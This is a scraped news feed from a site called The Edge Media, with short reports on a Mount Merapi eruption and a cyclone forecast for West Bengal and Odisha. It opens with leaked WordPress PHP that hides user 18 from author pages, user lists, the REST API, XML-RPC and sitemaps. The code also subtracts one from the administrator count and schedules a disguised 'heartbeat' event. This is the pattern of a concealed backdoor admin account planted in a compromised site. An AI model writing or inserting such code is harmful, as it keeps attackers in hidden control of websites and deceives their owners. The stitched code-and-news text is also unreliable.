add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>Mount Merapi unleashed clouds of hot ash at least seven times since Sunday morning, as well as a series of fast-moving pyroclastic flows, a mixture of rock, debris, lava and gasses, said Hanik Humaida, who heads the city of Yogyakarta’s Volcanology and Geological Hazard Mitigation Center. The rumbling sound could be heard several kilometers (miles) away.
The mountain has seen increased volcanic activity in recent weeks, with its lava dome growing rapidly before partially collapsing Sunday, sending rocks and ash flowing down the volcano’s southwest flank, Humaida said.
Ash from the eruption blanketed several villages and nearby towns, she said.
Villagers living on Merapi’s fertile slopes were advised to stay 5 kilometers (3.1 miles) away from the crater’s mouth and should be aware of the danger posed by lava, Indonesia’s Geology and Volcanology Research Agency said.
Mount Merapi is the most active of more than 120 active volcanoes in Indonesia and has repeatedly erupted with lava and gas clouds recently.
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>The post New Cyclonic storm to hit the coasts West Bengal and Odisha by May 26. appeared first on The Edge Media.
]]>The MeT department also said that a low-pressure area is to form over the north Andaman sea and the east-central Bay of Bengal. The depression holds the capability to intensify into a cyclonic storm which will form from May 21.
The Cyclone warning division of the IMD said,”It is very likely to intensify gradually into a cyclonic storm during the subsequent 72 hours. It is very likely to move northwestwards and reach West Bengal- Odisha coasts around May 26 evening”.
Other atmospheric and oceanic conditions like favourable environment for the movement. Furthermore, Sea surface temperatures are also favourable at the time to form persistent clouds. These conditions will help in the formation of the cyclonic storm from May 22. The fishermen and the boats will be instructed not to move out in the sea from May 22.
The post New Cyclonic storm to hit the coasts West Bengal and Odisha by May 26. appeared first on The Edge Media.
]]>